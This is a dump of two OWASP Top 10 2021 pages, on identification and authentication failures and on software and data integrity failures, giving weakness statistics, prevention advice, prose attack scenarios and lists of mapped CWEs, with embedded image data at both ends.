JmP2AxdPK2V7T9SH2yLq4td54k+NRUXoELfxhECK4NttvMRchF3oKrARw4i/Aio7a+M9Gs7Of117/2+/veV7mozZI1w8HQHb1718si2mfsDFbDcF1JBaSAMbABUIgF7MpDAYPpw2now1DgsBaXB96Lm4jTcMZ5tdpvvnu0y/ueXXqRizp7h4OjJO7z3+8LyIOtsWUlvkgiJEoYIQAbfx3MZLzkUohW4Ovo33qmC6/7ff/Og+Ro0xe4eLpyPm9Ovzh25uiqhbr1p7WFTcxtNABQIpGvlVCkIEeuxCyUNKYaGKUEAhMx0XNjn0aOPJ4SYF1OaBlpuHWT5wwWTM4eHiyZxz+vX5jeabIuqdk+Hs1ugp5m7jaeSw23ia+XPUc1lVG+/RMJxtiqVNK+7B33/9I9/4bcwB4+LJJLnx9aNb2/fqvXX+37Pz/6+fan6OuJaECLiNpxdwIRqPu40n2W0b7+m2QNr8b1MgPfz7r3/o16UYszJcPJlibnz1aFNEvbktqt66Yn/r4j9YUGLcxtMLuBABt/E0/dp4V4uhb4fhbFMkPfn7v//QN3gbcyS4eDLGGGOMKeDUwTLGGGOMycfFkzHGGGNMAS6ejDHGGGMKcPFkjDHGGFOAiydjjDHGmAJcPBljjDHGFODiyRhjjDGmABdPxhhjjDEFuHgyxhhjjCnAxZMxxhhjTAEunowxxhhjCnDxZIwxxhhTgIsnY4wxxpgCXDwZY4wxxhTg4skYY4wxpgAXT8YYY4wxBbh4MsYYY4wpwMWTMcYYY0wBLp6MMcYYYwpw8WSMMcYYU4CLJ2OMMcaYAlw8GWOMMcYU4OLJGGOMMaYAF0/GGGOMMQW4eDLGGGOMyWUYhv8HVZNWalSeheYAAAAASUVORK5CYII=){: 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## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 22 | 14.84% | 2.55% | 7.40 | 6.50 | 79.51% | 45.72% | 132,195 | 3,897 |
## Overview
Previously known as *Broken Authentication*, this category slid down
from the second position and now includes Common Weakness
Enumerations (CWEs) related to identification
failures. Notable CWEs included are *CWE-297: Improper Validation of
Certificate with Host Mismatch*, *CWE-287: Improper Authentication*, and
*CWE-384: Session Fixation*.
## Description
Confirmation of the user's identity, authentication, and session
management is critical to protect against authentication-related
attacks. There may be authentication weaknesses if the application:
- Permits automated attacks such as credential stuffing, where the
attacker has a list of valid usernames and passwords.
- Permits brute force or other automated attacks.
- Permits default, weak, or well-known passwords, such as "Password1"
or "admin/admin".
- Uses weak or ineffective credential recovery and forgot-password
processes, such as "knowledge-based answers," which cannot be made
safe.
- Uses plain text, encrypted, or weakly hashed passwords data stores (see
[A02:2021-Cryptographic Failures](A02_2021-Cryptographic_Failures.md)).
- Has missing or ineffective multi-factor authentication.
- Exposes session identifier in the URL.
- Reuse session identifier after successful login.
- Does not correctly invalidate Session IDs. User sessions or
authentication tokens (mainly single sign-on (SSO) tokens) aren't
properly invalidated during logout or a period of inactivity.
## How to Prevent
- Where possible, implement multi-factor authentication to prevent
automated credential stuffing, brute force, and stolen credential
reuse attacks.
- Do not ship or deploy with any default credentials, particularly for
admin users.
- Implement weak password checks, such as testing new or changed
passwords against the top 10,000 worst passwords list.
- Align password length, complexity, and rotation policies with
National Institute of Standards and Technology (NIST)
800-63b's guidelines in section 5.1.1 for Memorized Secrets or other
modern, evidence-based password policies.
- Ensure registration, credential recovery, and API pathways are
hardened against account enumeration attacks by using the same
messages for all outcomes.
- Limit or increasingly delay failed login attempts, but be careful not to create a denial of service scenario. Log all failures
and alert administrators when credential stuffing, brute force, or
other attacks are detected.
- Use a server-side, secure, built-in session manager that generates a
new random session ID with high entropy after login. Session identifier
should not be in the URL, be securely stored, and invalidated after
logout, idle, and absolute timeouts.
## Example Attack Scenarios
**Scenario #1:** Credential stuffing, the use of lists of known
passwords, is a common attack. Suppose an application does not implement
automated threat or credential stuffing protection. In that case, the
application can be used as a password oracle to determine if the
credentials are valid.
**Scenario #2:** Most authentication attacks occur due to the continued
use of passwords as a sole factor. Once considered best practices,
password rotation and complexity requirements encourage users to use
and reuse weak passwords. Organizations are recommended to stop these
practices per NIST 800-63 and use multi-factor authentication.
**Scenario #3:** Application session timeouts aren't set correctly. A
user uses a public computer to access an application. Instead of
selecting "logout," the user simply closes the browser tab and walks
away. An attacker uses the same browser an hour later, and the user is
still authenticated.
## References
- [OWASP Proactive Controls: Implement Digital Identity](https://owasp.org/www-project-proactive-controls/v3/en/c6-digital-identity)
- [OWASP Application Security Verification Standard: V2 authentication](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Application Security Verification Standard: V3 Session Management](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Testing Guide: Identity](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README), [Authentication](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README)
- [OWASP Cheat Sheet: Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Credential Stuffing](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Forgot Password](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)
- [OWASP Automated Threats Handbook](https://owasp.org/www-project-automated-threats-to-web-applications/)
- [NIST 800-63b: 5.1.1 Memorized Secrets](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret)
## List of Mapped CWEs
[CWE-255 Credentials Management Errors](https://cwe.mitre.org/data/definitions/255.html)
[CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)
[CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
[CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)
[CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)
[CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)
[CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)
[CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)
[CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)
[CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)
[CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)
[CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)
[CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)
[CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)
[CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)
[CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)
[CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)
[CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)
[CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)
[CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)
[CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)
[CWE-1216 Lockout Mechanism Errors](https://cwe.mitre.org/data/definitions/1216.html)
|
A08_2021-Software_and_Data_Integrity_Failures.md | ./Top10/2021/docs/A08_2021-Software_and_Data_Integrity_Failures.md | # A08:2021 – Software and Data Integrity Failures ![icon](assets/TOP_10_Icons_Final_Software_and_Data_Integrity_Failures.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 10 | 16.67% | 2.05% | 6.94 | 7.94 | 75.04% | 45.35% | 47,972 | 1,152 |
## Overview
A new category for 2021 focuses on making assumptions related to
software updates, critical data, and CI/CD pipelines without verifying
integrity. One of the highest weighted impacts from
Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS)
data. Notable Common Weakness Enumerations (CWEs) include
*CWE-829: Inclusion of Functionality from Untrusted Control Sphere*,
*CWE-494: Download of Code Without Integrity Check*, and
*CWE-502: Deserialization of Untrusted Data*.
## Description
Software and data integrity failures relate to code and infrastructure
that does not protect against integrity violations. An example of this is where an application relies upon plugins, libraries, or modules from untrusted sources, repositories, and content
delivery networks (CDNs). An insecure CI/CD pipeline can introduce the
potential for unauthorized access, malicious code, or system compromise.
Lastly, many applications now include auto-update functionality, where
updates are downloaded without sufficient integrity verification and
applied to the previously trusted application. Attackers could
potentially upload their own updates to be distributed and run on all
installations. Another example is where
objects or data are encoded or serialized into a structure that an
attacker can see and modify is vulnerable to insecure deserialization.
## How to Prevent
- Use digital signatures or similar mechanisms to verify the software or data is from the expected source and has not been altered.
- Ensure libraries and dependencies, such as npm or Maven, are
consuming trusted repositories. If you have a higher risk profile, consider hosting an internal known-good repository that's vetted.
- Ensure that a software supply chain security tool, such as OWASP
Dependency Check or OWASP CycloneDX, is used to verify that
components do not contain known vulnerabilities
- Ensure that there is a review process for code and configuration changes to minimize the chance that malicious code or configuration could be introduced into your software pipeline.
- Ensure that your CI/CD pipeline has proper segregation, configuration, and access
control to ensure the integrity of the code flowing through the
build and deploy processes.
- Ensure that unsigned or unencrypted serialized data is not sent to
untrusted clients without some form of integrity check or digital
signature to detect tampering or replay of the serialized data
## Example Attack Scenarios
**Scenario #1 Update without signing:** Many home routers, set-top
boxes, device firmware, and others do not verify updates via signed
firmware. Unsigned firmware is a growing target for attackers and is
expected to only get worse. This is a major concern as many times there
is no mechanism to remediate other than to fix in a future version and
wait for previous versions to age out.
**Scenario #2 SolarWinds malicious update**: Nation-states have been
known to attack update mechanisms, with a recent notable attack being
the SolarWinds Orion attack. The company that develops the software had
secure build and update integrity processes. Still, these were able to
be subverted, and for several months, the firm distributed a highly
targeted malicious update to more than 18,000 organizations, of which
around 100 or so were affected. This is one of the most far-reaching and
most significant breaches of this nature in history.
**Scenario #3 Insecure Deserialization:** A React application calls a
set of Spring Boot microservices. Being functional programmers, they
tried to ensure that their code is immutable. The solution they came up
with is serializing the user state and passing it back and forth with
each request. An attacker notices the "rO0" Java object signature (in base64) and
uses the Java Serial Killer tool to gain remote code execution on the
application server.
## References
- \[OWASP Cheat Sheet: Software Supply Chain Security\](Coming Soon)
- \[OWASP Cheat Sheet: Secure build and deployment\](Coming Soon)
- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Deserialization](
<https://www.owasp.org/index.php/Deserialization_Cheat_Sheet>)
- [SAFECode Software Integrity Controls](
https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)
- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The
SolarWinds
Hack](<https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack>)
- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)
- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)
## List of Mapped CWEs
[CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)
[CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)
[CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
[CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)
[CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
[CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)
[CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)
[CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)
[CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)
[CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
| 6,695 | 0.006387 | # A08:2021 – Software and Data Integrity Failures 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